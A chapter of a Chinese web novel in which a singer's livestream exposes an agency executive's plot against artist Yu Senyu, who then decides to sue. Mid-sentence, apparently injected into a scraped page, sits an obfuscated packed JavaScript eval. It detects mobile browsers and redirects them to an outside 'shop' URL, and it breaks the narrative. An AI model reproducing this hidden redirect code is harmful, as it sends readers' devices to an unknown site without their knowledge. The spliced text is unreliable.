这些证据一出,全网瞬间炸了。 “这高层也太黑了吧,郁森屿也太惨了吧。” “这还是法治社会吗?娱乐圈就这么无法无天?” “星耀还装无辜,说不知情呢……我呸!” “……” 既#郁森屿周落录音#之后,#星耀高层合谋陷害郁森屿#、#吴海收钱#、#星耀声明打脸#等热搜词条纷纷登上热搜,每一个都是爆。 这爆爆爆的,可真热闹啊,不知道的,还以为过年了呢。 网友们这回吃瓜吃得那叫一个酣畅淋漓啊。 他们上一口瓜还没吃完,下一口急头白脸就来了。 “周落又开直播了!快去看!!!” 好好好,以前的瓜不够吃,今天这瓜是真管够啊,非得让他们吃到撑才行。 吃瓜迅速的网友们纷纷点开了周落的直播链接。 直播画面里,周落坐在公寓的沙发上,手里拿着一部手机,镜头对着门口。 他的表情看起来很平静,甚至有点过于平静了,就像暴风雨来临前的海面。 没过多久,吴海出现在了镜头中。 他行色匆匆,喘着粗气,好像是刚从哪里急匆匆地赶过来的。 吴海的脸色很难看,额头上青筋暴起,一进门就开始嚷嚷,“周落!你疯了是不是?!你为什么不接电话?!” 周落看都没看他一眼,只是抬了抬下巴,示意吴海坐下。 “来都来了,坐吧。” “坐个屁!” 吴海大步走到沙发前,居高临下地瞪着周落,气急败坏道:“是谁之前给我打包票,说手里有《Moon》最早的demo,比郁森屿手里的还早。还信誓旦旦地说这件事万无一失……可现在又是怎么回事?网上的录音从哪冒出来的?你知不知道因为这事给公司造成了多大影响?!股价跌了多少你知道吗?!” 周落冷笑了声,“股价跌了关我什么事?我现在什么都没了,还有什么好怕的?” 吴海气得浑身发抖,“你完了是你的事!你别拉我下水!” “拉你下水?” 周落突然站了起来,声音陡然拔高,“吴海,当年是谁先找上我的?现在出事了,你们就把锅往我一个人身上扣,好全身而退?做你们的春秋大梦去吧!我不好过,大家都别好过!” 吴海急得直跺脚,“那是公司的决定!又不是我一个人说了算的!” “公司的决定?”周落的声音更大了,“我看是李总的决定吧!当初要不是李总看郁森屿不顺眼,说要给他点教训,你会来找我?” “……” 李总两个字一出口,弹幕瞬间炸开了花。 “卧槽卧槽卧槽!所以幕后黑手是星耀李总?” “李总是谁?有没有人科普一下啊?” “……” 就在吴海想要辩驳的时候,一通电话突然打了过来。 接完电话,他的脸色巨变,不敢置信地看向周落道:“你疯了吗?!你现在居然在直播?!你知不知道这会有什么后果啊?!你赶紧把直播关了!!” 说完,他猛地冲向周落。 两个人扭打在一起,很快直播就中断了。 虽然直播被迫中断,但该有的信息量已经有了。 几十万网友都目睹了这场闹剧。 录屏在几分钟内迅速传遍了所有的社交平台,热度居高不下。 热搜词条#周落吴海直播#迅速冲上热搜第一,而#星耀李总#则紧随其后。 “这个世界太黑暗了!娱乐圈太黑暗了!” “周落这是要同归于尽啊,经纪人爆出来了,公司高层也爆出来了,他现在可真是无所畏惧啊!” “李总到底是谁啊?有没有好心人扒一扒?” “来了来了,李总全名李承野,星耀副总裁之一,主管艺人经纪业务,听说是星耀最大股东的儿子。” “……” 这条信息一出,评论区瞬间炸开了锅。 “最大股东的儿子,怪不得这么嚣张,想搞谁就搞谁。” “听说这人名声很差,经常给公司的女艺人安排酒局。他曾经因为一个女艺人不肯参加酒局,就把她的资源全部砍掉,逼得她付了一大笔违约金,解约走人。” “强烈要求李承野公开道歉!星耀必须给个说法!” “道歉有什么用?这种人应该去坐牢!” “……” 评论区吵成一片,星耀官方的账号也沦陷了。 事到如今,公关团队也不管用了。 网友们纷纷要星耀给个说法,但星耀那边却迟迟没回应。 星耀越沉默,就越说明这件事情的真实性,就越说明他们心虚,网友们的愤怒也就越浓烈。 评论区都是清一色的质问。 “你们之前把锅全甩给周落的时候不是回应得挺快的吗?现在怎么不说话了?” “李承野呢?让他出来!” “强烈要求司法机关介入!” “……” 网友们追着星耀骂了整整三天,星耀一概不理,只是一味装死。 互联网的热度都是有期限的。 没过几天,某个顶流男星突然官宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487111|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋情,又过了几天,某个选秀节目突然被爆出投票造假…… 随着一个又一个新瓜的出现,网友们的注意力也在被逐渐转移,就像是雪地上的脚印,旧的脚印会被新的脚印覆盖,你只能看见新脚印,也就看不到旧脚印了。 那些曾经义愤填膺的网友,随着时间的流逝,他们的愤怒也在逐渐平息,随之也就将这些事情抛之脑后了。 这很正常,也可以理解。 生活不易,普通人光是活着就已经费尽了全部的力气,哪有那么多的精力整天关注别人,又怎么可能把他们的注意力全放在别人身上呢? 偶尔吃吃瓜,感同身受地帮受害人说两句话,就是他们最大的仁至义尽。 他们不是事件的当事人,他们没有受到任何伤害,所以不管他们当时有多么共情,有多么感同身受,他们也可以轻轻松松地将这件事翻篇,继续过自己的人生。 但,总有人忘不掉,也无法就这么轻易翻篇。 对郁森屿来说,他被黑的这几个月不是热搜上几个轻飘飘的词条,也不是评论区的几声叹息和同情那么简单。 那是他无数个睁着眼睛等天亮的夜晚,是他母亲临走前也不安生的表情和望着他的那双充满担忧的眼睛,更是他抱着母亲骨灰盒往河里跳的孤注一掷与绝望。 如果他死了也就算了,可他没有,靠着别人的帮助他走到现在,这事肯定不能就这么被轻轻揭过,而是得有一个真正的结果,一个公正的判决,而不是只停留在网络上的道德审判。 这不是为了让谁道歉,更不是为了那点赔偿,而是为了给他自己一个交代,给他死去的母亲一个交代,也是给那些站在他身边,相信他、支持他、帮助他的人的交代。 “我想要正式起诉那些人。” 郁森屿半夜给施浓打了电话,他没有说为什么,只说了这么一句话。 施浓也没有问为什么,她只是立刻表示了她的支持,“好!我赞同!” “这肯定得起诉啊,咱现在手里要啥有啥,告他们一告一个准。告啊,肯定得告!我们不但得告他们,还得让他们付出惨重的代价!道歉和赔偿都是小事,主要得告诉那些坏人,也告诉所有关注这件事的人—— 人在做天在看,做坏事是没有什么好下场的,犯错,都是得付出代价的!” 郁森屿握着听筒,含泪,重重点头,“嗯!” …… 说告就告。 接下来的日子,施浓陪着郁森屿见律师、整理证据、准备材料…… 世界上没有不透风的墙,尤其是在娱乐圈,很快,郁森屿起诉的消息就传遍了网络。 这一次,他的评论区里没有争吵,没有站队,有的只是清一色的支持,纷纷支持他维权。 而施浓,此时此刻就站在郁森屿身后,看着他一步一步走向法庭。 她知道,不管判决结果如何,郁森屿都已经赢了。 等这事过后,一切都尘埃落定,他就再也不必陷于过去,他终于可以朝前看,大步向前走,继续自己的人生路了。 他的路还很长,但施浓相信,此后就算是山高路远,他也有足够面对的勇气。